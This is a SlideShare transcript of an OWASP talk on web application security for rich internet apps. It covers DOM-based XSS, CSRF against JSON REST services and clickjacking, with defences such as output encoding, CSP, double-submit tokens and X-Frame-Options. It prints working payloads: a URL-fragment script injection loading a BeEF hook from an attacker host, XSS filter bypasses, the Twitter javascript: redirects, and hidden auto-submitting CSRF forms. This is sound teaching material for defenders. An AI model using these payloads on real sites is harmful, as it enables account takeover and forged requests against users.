SlideShare uma empresa Scribd logo
1 de 106
Application Security
      for RIAs
 John Wilander,   & OWASP
Frontend developer at
Svenska Handelsbanken

Researcher in application security
Co-leader OWASP Sweden




@johnwilander
johnwilander.com (music)


OWASP == The Open Web
Application Security Project
Cheat sheets, tools, code, guidelines
https://owasp.org
ÅåÄäÖö
The above three extra letters are Swedish developers’
       biggest problem. Help us – use UTF-8!
OWASP Top 10
 Top web application
  security risks 2010
1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session
    Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards
”Do I have to care?”
Likelihood of ≥ 1 vulnerability on your site


From: WhiteHat Website Security Statistic Report, Winter 2011
Per extension

                                 .asp .aspx .do .jsp .php

      Sites having had ≥ 1
                                 74 % 73 % 77 % 80 % 80 %
      serious vulnerability

    Sites currently having ≥ 1
                                 57 % 58 % 56 % 59 % 63 %
       serious vulnerability



From: WhiteHat Website Security Statistic Report, Spring 2010
But we’re moving
  towards more
 code client-side
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Client-Side, JavaScript
       Vulnerabilities




From: IBM X-Force 2011 Mid-Year Trend and Risk Report
Focus Today


• Cross-Site Scripting (XSS)
• Cross-Site Request Forgery (CSRF)
• Clickjacking
XSS ...
the hack that keeps on hacking
Cross-Site Scripting
        Theory



           Scripting




                           ite
                     ross-S
                   C
Cross-Site Scripting
           Type 1, reflected



                   Scripting

                  Cross-Site
   Ph
      ising
Cross-Site Scripting
      Type 2, stored




                             s-Site
                       C ros
Cross-Site Scripting
      Type 2, stored



          Scripting
Cross-Site Scripting
                        Type 0, DOM-based

           g
    ip tin
 Scr
               Cros
                s-Sit
                 e




               Ph
                  is    ing
Cross-Site Scripting
                        Type 0, DOM-based

           g
    ip tin
 Scr
               Cros
         No server roundtrip!
                s-Sit
                 e


         Also, single-page interfaces
         make injected scripts ”stick”
           Ph
              isi
         in thenDOM.
                  g
https://secure.bank.com/
authentication#language=sv&country=SE
https://secure.bank.com/
authentication#language=sv&country=SE
                Never sent to server

               Be careful when you use
                this data on your page
Would you click this?

  https://secure.bank.com/authentication
#language=<script src="http://attackr.se:
    3000/hook.js"></script>&country=SE
Would you click this?

  https://secure.bank.com/authentication
#language=%3Cscript%20src%3D%22http%3A%2F
 %2Fattackr.se%3A3000%2Fhook.js%22%3E%3C
         %2Fscript%3E&country=SE
Would you click this?


   http://bit.ly/Yg4T32
Filter out <script>?
var ... ,
 stripScriptsRe = /(?:<script.*?>)((n|r|.)*?)(?:</script>)/ig,


/**
 * Strips all script tags
 * @param {Object} value The text from which to strip script tags
 * @return {String} The stripped text
 */
stripScripts : function(v) {
   return !v ? v : String(v).replace(stripScriptsRe, "");
},


       http://docs.sencha.com/ext-js/4-0/#!/api/Ext.util.Format-method-stripScripts
Filter out <script>?
<img src=1 onerror=alert(1)>

<svg onload="javascript:alert(1)"
xmlns="http://www.w3.org/2000/svg"></svg>

<body onload=alert('XSS')>

<table background="javascript:alert('XSS')">

¼script¾alert(¢XSS¢)¼/script¾

<video poster=javascript:alert(1)//
”C’mon, such attacks
 don’t really work,
    do they?”

    Yep, demo.
DOM-Based XSS
                 Twitter September 2010



Full story at
http://blog.mindedsecurity.com/2010/09/twitter-domxss-wrong-fix-and-something.html
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
(function(g){
            What does this code do?
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
    johnwilander”.split(”#!”)[1]
    returns
    ”/johnwilander”

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a;
 }
})(window);
”https://twitter.com/#!/
    johnwilander”.split(”#!”)[1]
    returns
    ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but
      initial
   g.location = a;
      changes the path
 }
})(window);
”https://twitter.com/#!/
    johnwilander”.split(”#!”)[1]
    returns
    ”/johnwilander”

(function(g){
      window.location =
 var a = location.href.split("#!")[1];
               ”/johnwilander”
 if(a) { ’/’ => keeps the domain but
      initial
   g.location = a;
      changes the path
 }
      So
})(window);
    twitter.com/#!/johnwilander
    becomes
    twitter.com/johnwilander

                 Read more: http://kotowicz.net/absolute/
http://twitter.com/
#!javascript:alert(document.domain);
http://twitter.com/
#!javascript:alert(document.domain);

          Never sent to server
          => DOM-based XSS
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
The Patch™
var c = location.href.split("#!")[1];
if (c) {
  window.location = c.replace(":", "");
} else {
  return true;
}
               Replaces the first occurance
                   of the search string
http://twitter.com/
#!javascript::alert(document.domain);
http://twitter.com/
#!javascript::alert(document.domain);
The 2nd Patch™
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters

                   Global match
(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location = a.replace(/:/gi,"");
 }
})(window);    Regexp pattern
                 delimiters

                   Global match Ignore case
Were they done now?
http://twitter.com
#!javascript&x58;alert(1)
http://twitter.com
#!javascript&x58;alert(1)


     HTML entity version of ’:’
The n:th Patch™
                             (this one works)

(function(g){
 var a = location.href.split("#!")[1];
 if(a) {
   g.location.pathname = a;
 }
})(window);




    And hey, Twitter is doing the right thing: https://twitter.com/about/security
Fix these issues properly with ...
Client-Side Encoding
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
https://github.com/chrisisbeef/jquery-encoder
• $.encoder.canonicalize()
 Throws Error for double encoding or multiple encoding
 types, otherwise transforms %3CB%3E to <b>
• $.encoder.encodeForCSS()
 Encodes for safe usage in style attribute and style()
• $.encoder.encodeForHTML()
 Encodes for safe usage in innerHTML and html()
• $.encoder.encodeForHTMLAttribute()
 Encodes for safe usage in HTML attributes
• $.encoder.encodeForJavaScript()
 Encodes for safe usage in event handlers etc
• $.encoder.encodeForURL()
 Encodes for safe usage in href etc
Let’s do a short demo
        of that
Also, check out ...

Content Security Policy
http://people.mozilla.com/~bsterne/
      content-security-policy/
New HTTP Response
        Header Saying ...

Only allow scripts from whitelisted domains
and
only allow scripts from files, i.e. no inline scripts
'self' = same URL, protocol and port


X-Content-Security-Policy: default-src 'self'
Accept all content including scripts only from my own URL+port

X-Content-Security-Policy: default-src *;
script-src trustedscripts.foo.com
Accept media only from my URL+port (images, stylesheets,
fonts, ...) and scripts only from trustedscripts.foo.com
CSRF
my current favorite!
Cross-Site Request
     Forgery
            Request For
                       gery



 Cro
    ss-S
           ite
Cross-Site Request
     Forgery
            Request Forgery

           Cros
               s-Site
 Ph
   isin
       g
Is www.attackr.se allowed to
         load images like this:

<img src=”https://secure.bank.com/
           logo.png" />


                ?
Is www.attackr.se allowed to
            load images like this:

    <img src=”https://secure.bank.com/
authentication#language=sv&country=SE" />


                    ?
With image tags www.attackr.se can silently
   send HTTP GET requests to any domain

  <img src=”https://secure.bank.com/
authentication#language=sv&country=SE"
          height=0 width=0 />
”Will restricting to
HTTP POST save me?”
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST
What’s on your mind?          What’s on your mind?
I love OWASP!          POST                          POST

John: I love OWASP!
What’s on your mind?          What’s on your mind?
                       POST                          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST
What’s on your mind?          What’s on your mind?
                       POST   I hate OWASP!          POST

John: I hate OWASP!
What’s on your mind?             What’s on your mind?
                       POST   <form id="target" method="POST"
                               action="https://1-liner.org/form">
John: I hate OWASP!             <input type="text" value="I hate
                                 OWASP!" name="oneLiner"/>
                                <input type="submit"
                                 value="POST"/>
                              </form>

                              <script type="text/javascript">
                                $(document).ready(function() {
                                    $('#form').submit();
                                });
                              </script>
<form id="target" method="POST"
           action="https://1-liner.org/form">
            <input type="text" value="I hate
              OWASP!" name="oneLiner"/>
            <input type="submit"
What’s on your mind?         What’s on your mind?
              value="POST"/>
                     POST
         </form>
John: I hate OWASP!

           <script>
             $(document).ready(function() {
                 $('#target').submit();
             });
           </script>
There used to be a
protection in web 1.5
Forced Browsing
                     wizard-style



Shipment info ✉                     Payment info $




                  Next                               Buy!
Forced Browsing
                     wizard-style



Shipment info ✉                     Payment info $




                         Token

                  Next                               Buy!
Forced Browsing
          wizard-style




Token 1   Token 2        Token 3
Forced Browsing
                     wizard-style




    Token 1           Token 2          Token 3




State built up i steps, server roundtrip in-between
Forced Browsing
          wizard-style




Token 1   Token 2            Token 3


                                        ge
                                    for
                               n’t to
                           uld est
                         Co qu
                           re t step
                              las out a
                               w tith oken
                                va  lid
But in RIAs ...
RIA & client-side state

     {
     ”purchase”: {}
     }
RIA & client-side state

     {
     ”purchase”: {
       ”items”: [{}]
       }
     }
RIA & client-side state

     {
     ”purchase”: {
       ”items”: [{},{}]
       }
     }
RIA & client-side state

     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {}
       }
     }
RIA & client-side state

     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
RIA & client-side state

     {
     ”purchase”: {
       ”items”: [{},{}],
       ”shipment”: {},
       ”payment”: {}
       }
     }
Can an attacker forge
such a JSON structure?
CSRF possible?
    {
    ”purchase”: {
      ”items”: [{},{}],
      ”shipment”: {},
      ”payment”: {}
      }
    }
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners">



 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden">


 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name=””
  value="" />



 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
          8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">
                Forms produce a request body that
 <input type="text" like this:
                looks
  name=””
  value="" /> theName=theValue

                  ... and that’s not valid JSON.

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
 enctype="text/plain">

 <input type="text"
  name='{"id": 0, "nickName": "John",
         "oneLiner": "I hate OWASP!",
         "timestamp": "20111006"}//'
  value="dummy" />

 <input type="submit" value="Go" />

</form>
<form id="target" method="POST"
 action="https://vulnerable.1-liner.org:
         8444/ws/oneliners"
 style="visibility:hidden"
                Produces a request body that looks
 enctype="text/plain">
                like this:
 <input type="text"
                {"id": 0, "nickName":
  name='{"id": 0, "nickName": "John",
                "John","oneLiner": "I
         "oneLiner": "I hate OWASP!",
                hate OWASP!","timestamp":
         "timestamp": "20111006"}//'
                "20111006"}//=dummy
  value="dummy" />
                ... and that is acceptable JSON!
 <input type="submit" value="Go" />

</form>
Demo POST CSRF
against REST service
Demo XSS + CSRF with

   The Browser Exploitation Framework
         http://beefproject.com/
Important in your
         REST API
•   Restrict HTTP method, e.g. POST
    Easier to do CSRF with GET

•   Restrict to AJAX if applicable
    X-Requested-With:XMLHttpRequest
    Cross-domain AJAX prohibited by default

•   Restrict media type(s), e.g. application/json
    HTML forms only allow URL encoded, multi-part
    and text/plain
Attacker may spoof
headers via Flash proxy

  http://lists.webappsec.org/pipermail/
  websecurity_lists.webappsec.org/2011-
  February/007533.html
Double Submit
Double Submit
 (CSRF protection)

    Anti-CSRF value
    as cookie ...

    ... and
    request parameter
Double Submit
 (CSRF protection)




                     cookie ≠
                     request parameter


  Cannot read the
  anti-CSRF cookie to
  include it as parameter
Double Submit
               (CSRF protection)




Anti-CSRF cookie can
be generated client-side
=> no server-side state
Clickjacking
... or Likejacking or Followjacking or ...
Clickjacking Demo
X-Frame-Options
http://blogs.msdn.com/b/ie/archive/
 2009/01/27/ie8-security-part-vii-
     clickjacking-defenses.aspx
 http://tools.ietf.org/html/draft-
      gondrom-frame-options-01
No page can load me in an iframe
or
only my own domain can load me in an iframe
X-Frame-Options: DENY

X-Frame-Options: SAMEORIGIN

(Coming:
X-Frame-Options: ALLOW-FROM [list])
How To Get It Right
•   Join your local OWASP chapter
    https://www.owasp.org/index.php/OWASP_Chapter


•   Start following these fellas on Twitter:
    @WisecWisec @0x6D6172696F @garethheyes
    @internot_ @securityninja @jeremiahg
    @kkotowicz @webtonull @manicode @_mwc

•   Start hacking – it’s fun!
    Best place to start? Your own apps of course.
    Just stay legal ;)
@johnwilander
     john.wilander@owasp.org
http://appsandsecurity.blogspot.com

Mais conteúdo relacionado

Mais procurados

Crossing Origins by Crossing Formats
Crossing Origins by Crossing FormatsCrossing Origins by Crossing Formats
Crossing Origins by Crossing Formats
internot
 
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference ZürichHTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
Robert Nyman
 
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Xlator
 

Mais procurados (20)

DEfcon15 XXE XXS
DEfcon15 XXE XXSDEfcon15 XXE XXS
DEfcon15 XXE XXS
 
Advanced Ajax Security
Advanced Ajax SecurityAdvanced Ajax Security
Advanced Ajax Security
 
Web Typography with sIFR 3 at Drupalcamp Copenhagen
Web Typography with sIFR 3 at Drupalcamp CopenhagenWeb Typography with sIFR 3 at Drupalcamp Copenhagen
Web Typography with sIFR 3 at Drupalcamp Copenhagen
 
When Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentalsWhen Ajax Attacks! Web application security fundamentals
When Ajax Attacks! Web application security fundamentals
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Crossing Origins by Crossing Formats
Crossing Origins by Crossing FormatsCrossing Origins by Crossing Formats
Crossing Origins by Crossing Formats
 
Xss is more than a simple threat
Xss is more than a simple threatXss is more than a simple threat
Xss is more than a simple threat
 
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference ZürichHTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
HTML5 and CSS3 – exploring mobile possibilities - Frontend Conference Zürich
 
Bringing Typography to the Web with sIFR 3 at <head>
Bringing Typography to the Web with sIFR 3 at <head>Bringing Typography to the Web with sIFR 3 at <head>
Bringing Typography to the Web with sIFR 3 at <head>
 
Mitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codesMitigating CSRF with two lines of codes
Mitigating CSRF with two lines of codes
 
Attack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack FuAttack Chaining: Advanced Maneuvers for Hack Fu
Attack Chaining: Advanced Maneuvers for Hack Fu
 
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
Jim Manico: Developer Top 10 Core Controls, web application security @ OWASP ...
 
CloudKit
CloudKitCloudKit
CloudKit
 
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scannerNullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
NullCon 2012 - Ra.2: blackbox DOM-based XSS scanner
 
Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)Top Ten Web Hacking Techniques (2008)
Top Ten Web Hacking Techniques (2008)
 
Preventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code ExecutionPreventing In-Browser Malicious Code Execution
Preventing In-Browser Malicious Code Execution
 
(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe(In)Security Implication in the JS Universe
(In)Security Implication in the JS Universe
 
Roberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacksRoberto Bicchierai - Defending web applications from attacks
Roberto Bicchierai - Defending web applications from attacks
 
I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)
 
I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)I Don't Care About Security (And Neither Should You)
I Don't Care About Security (And Neither Should You)
 

Semelhante a Application Security for RIAs

Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
amiable_indian
 
주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
guestad13b55
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
Jeremiah Grossman
 

Semelhante a Application Security for RIAs (20)

04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Javascript Security
Javascript SecurityJavascript Security
Javascript Security
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Hacking Client Side Insecurities
Hacking Client Side InsecuritiesHacking Client Side Insecurities
Hacking Client Side Insecurities
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법주로사용되는 Xss필터와 이를 공격하는 방법
주로사용되는 Xss필터와 이를 공격하는 방법
 
OWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript ApplicationsOWASP SF - Reviewing Modern JavaScript Applications
OWASP SF - Reviewing Modern JavaScript Applications
 
Null 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarangNull 14 may_lesser_known_attacks_by_ninadsarang
Null 14 may_lesser_known_attacks_by_ninadsarang
 
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad SarangNull Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
Null Mumbai 14th May Lesser Known Webapp attacks by Ninad Sarang
 
Java scipt
Java sciptJava scipt
Java scipt
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
Rich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safeRich Web App Security - Keeping your application safe
Rich Web App Security - Keeping your application safe
 
Top 10 Web Security Vulnerabilities
Top 10 Web Security VulnerabilitiesTop 10 Web Security Vulnerabilities
Top 10 Web Security Vulnerabilities
 
[Poland] It's only about frontend
[Poland] It's only about frontend[Poland] It's only about frontend
[Poland] It's only about frontend
 
Minor Mistakes In Web Portals
Minor Mistakes In Web PortalsMinor Mistakes In Web Portals
Minor Mistakes In Web Portals
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )Introduction to Cross Site Scripting ( XSS )
Introduction to Cross Site Scripting ( XSS )
 
XSS - Attacks & Defense
XSS - Attacks & DefenseXSS - Attacks & Defense
XSS - Attacks & Defense
 
Cape Cod Web Technology Meetup - 2
Cape Cod Web Technology Meetup - 2Cape Cod Web Technology Meetup - 2
Cape Cod Web Technology Meetup - 2
 

Mais de johnwilander

Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
johnwilander
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
johnwilander
 

Mais de johnwilander (9)

JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)JavaScript Beyond jQuery (Jfokus 2013)
JavaScript Beyond jQuery (Jfokus 2013)
 
Tre sårbarheter i webbappar
Tre sårbarheter i webbapparTre sårbarheter i webbappar
Tre sårbarheter i webbappar
 
Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5Web Integration Patterns in the Era of HTML5
Web Integration Patterns in the Era of HTML5
 
Hotlinking is Too Hot for Comfort
Hotlinking is Too Hot for ComfortHotlinking is Too Hot for Comfort
Hotlinking is Too Hot for Comfort
 
Stateless Anti-Csrf
Stateless Anti-CsrfStateless Anti-Csrf
Stateless Anti-Csrf
 
Advanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRFAdvanced CSRF and Stateless Anti-CSRF
Advanced CSRF and Stateless Anti-CSRF
 
JavaScript för Javautvecklare
JavaScript för JavautvecklareJavaScript för Javautvecklare
JavaScript för Javautvecklare
 
Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)Application Security, in Six Parts (HackPra 2012)
Application Security, in Six Parts (HackPra 2012)
 
RIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention EvaluatorRIPE: Runtime Intrusion Prevention Evaluator
RIPE: Runtime Intrusion Prevention Evaluator
 

Último

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Último (20)

Boost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivityBoost PC performance: How more available memory can improve productivity
Boost PC performance: How more available memory can improve productivity
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law DevelopmentsTrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
TrustArc Webinar - Stay Ahead of US State Data Privacy Law Developments
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
Handwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed textsHandwritten Text Recognition for manuscripts and early printed texts
Handwritten Text Recognition for manuscripts and early printed texts
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 

Application Security for RIAs

  • 1. Application Security for RIAs John Wilander, & OWASP
  • 2. Frontend developer at Svenska Handelsbanken Researcher in application security Co-leader OWASP Sweden @johnwilander johnwilander.com (music) OWASP == The Open Web Application Security Project Cheat sheets, tools, code, guidelines https://owasp.org
  • 3. ÅåÄäÖö The above three extra letters are Swedish developers’ biggest problem. Help us – use UTF-8!
  • 4. OWASP Top 10 Top web application security risks 2010
  • 5. 1. Injection 2. Cross-Site Scripting (XSS) 3. Broken Authentication and Session Management 4. Insecure Direct Object References 5. Cross-Site Request Forgery (CSRF) 6. Security Misconfiguration 7. Insecure Cryptographic Storage 8. Failure to Restrict URL Access 9. Insufficient Transport Layer Protection 10. Unvalidated Redirects and Forwards
  • 6. ”Do I have to care?”
  • 7. Likelihood of ≥ 1 vulnerability on your site From: WhiteHat Website Security Statistic Report, Winter 2011
  • 8. Per extension .asp .aspx .do .jsp .php Sites having had ≥ 1 74 % 73 % 77 % 80 % 80 % serious vulnerability Sites currently having ≥ 1 57 % 58 % 56 % 59 % 63 % serious vulnerability From: WhiteHat Website Security Statistic Report, Spring 2010
  • 9. But we’re moving towards more code client-side
  • 10. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 11. Client-Side, JavaScript Vulnerabilities From: IBM X-Force 2011 Mid-Year Trend and Risk Report
  • 12. Focus Today • Cross-Site Scripting (XSS) • Cross-Site Request Forgery (CSRF) • Clickjacking
  • 13. XSS ... the hack that keeps on hacking
  • 14. Cross-Site Scripting Theory Scripting ite ross-S C
  • 15. Cross-Site Scripting Type 1, reflected Scripting Cross-Site Ph ising
  • 16. Cross-Site Scripting Type 2, stored s-Site C ros
